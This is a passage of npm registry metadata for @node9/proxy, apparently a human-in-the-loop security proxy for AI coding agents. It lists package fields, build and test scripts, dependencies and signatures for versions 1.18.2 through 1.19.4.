pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.18.2_1777997091450_0.1943571186986135","host":"s3://npm-registry-packages-npm-production"}},"1.18.3":{"name":"@node9/proxy","version":"1.18.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.18.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c098f16d67cd31b917c305b8a57a87dda58944df","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.18.3.tgz","fileCount":15,"integrity":"sha512-k7iDfU+BKuDEdBjAv7JmTLyhhgXUwpXwex6KLspGwk2hwnve24rgoxYQBSywsO2U2oF2F1TDyOcm+niRmOkqeg==","signatures":[{"sig":"MEUCIBYaayF0BYJj2m+pxPtVQ2aO6yq1XyEM5u4QgKODVmhlAiEAwdvqHqlK1iIF3d0VyOcafQyODdrAldCOFf5S+yPGiVQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.18.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3418829},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8f4168c8fb6b17de6ecdfd2c29e50ed07afa75c5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.18.3_1778044476016_0.8702379395551798","host":"s3://npm-registry-packages-npm-production"}},"1.19.0":{"name":"@node9/proxy","version":"1.19.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.19.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c0d6ccc6c77cbdfc8fd75ecfd7b73e3bd48dc308","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.19.0.tgz","fileCount":15,"integrity":"sha512-CEcYyWvj/xf6oDBJ4GTMR2GCi7xO6qFNKi99KiYDYMB2DWsH2fXCUCpV5C5OUF7719mG4KQM7+6e0LCr+Q7M8A==","signatures":[{"sig":"MEUCIQDgkDisr7PWsPAbip3pgwF4RgzxMRK9ZAQtgFdqY436pgIgFQAbnWvTnEoqrqhyXcmPW9bdIao2mAALHsgl/TnQ3AE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.19.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3465328},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c43ff6738558a09fbb0d93bb6b9856eaba4f753d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.19.0_1778068976950_0.013727313776968897","host":"s3://npm-registry-packages-npm-production"}},"1.19.1":{"name":"@node9/proxy","version":"1.19.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.19.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8778cc4b55b83d336b1afe0c9c23b031bd200baa","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.19.1.tgz","fileCount":15,"integrity":"sha512-djxI0xKvLdKJmSvRzBUur6B1vETOJATgKwIFoj5z5+kMpwzlp9uUshc5fvKHacgeDwtpcBVyFNK9Exq5JNJo2w==","signatures":[{"sig":"MEQCIBoFAIAJ/q3pCd3Ypc89RZJDIWfZrfE6CcCuapTEzeEgAiBSQwUQ2bHHxNa/F17qYMbRI+YH6OGJTsie9VAXKWyNjg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.19.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3463692},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ef5d3f7f3300cc32c5f2ac611f446a2ae1b6c7a2","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.19.1_1778091924902_0.3972027420634008","host":"s3://npm-registry-packages-npm-production"}},"1.19.2":{"name":"@node9/proxy","version":"1.19.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.19.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"63f8ed39823237b8f0949e1c852a3ebbbc6741f2","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.19.2.tgz","fileCount":15,"integrity":"sha512-TZW9sgNWIT69Qg1VkSoYB6OqxGuv7723UCBzRvtQ9Uhq/ThZ0njyWxK6G+jt5EEmcJWmK/waRGvVcY4QxyL4jQ==","signatures":[{"sig":"MEUCIQDvNIkzpRlug2Y/ujn8bJwWZKIGEZByQSD4G23K/n5HhwIgIAlzuxn8V8PLdUyo6oY8VW8/I3j7qm4Gx10HzAouWnE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.19.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3482002},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"86eecb2cff8b13a11cb869348bf9c926a6cd81e8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.19.2_1778186136954_0.3218713625426808","host":"s3://npm-registry-packages-npm-production"}},"1.19.3":{"name":"@node9/proxy","version":"1.19.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.19.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a782da67c4bb349fdc4a5cb68dee83ae61d908e5","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.19.3.tgz","fileCount":15,"integrity":"sha512-uFAuRrUFw29c0ytpYiU379hBw8szEWKIr8JmgacRMLDVy8gXEijq7uj/60oDqjPq1wB7w8oJP8ceALCkZ4/NMg==","signatures":[{"sig":"MEUCIB6vyySi6WGC966kF9MVyhd13HBkAGE6PiyYzggNHJ0SAiEA7AiDSNtLcUqUh+9a50gDWWMTxtLkYDxNZiYN/4y839Y=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.19.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3480798},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a5c07f81fb31a668768efddccf79f005838b4738","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.19.3_1778347470372_0.2830899671501552","host":"s3://npm-registry-packages-npm-production"}},"1.19.4":{"name":"@node9/proxy","version":"1.19.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.19.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5d01cff471c942e695a80cb737e4e0a2b9271051","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.19.4.tgz","fileCount":16,"integrity":"sha512-OZNxyoXpFpNcpuxsjKevydBE+tIxuLaAPSs2mR7g4XLWwr3dxmUApE/j6UGiGlGaqDDKqNbgygUicUzQQs5YJQ==","signatures":[{"sig":"MEQCID2q3r3TGKF7WfGIfcphi5cxfVU0CYG+OeIL58eYbxbVAiBpX3tXt0sMZ0g6lBgOoWzB9w/NwZr6yfqUHDf7sNeb+A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.19.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3655322},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"85f283fbc4b494ffeea9641ce35d4449c5bb0006","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & 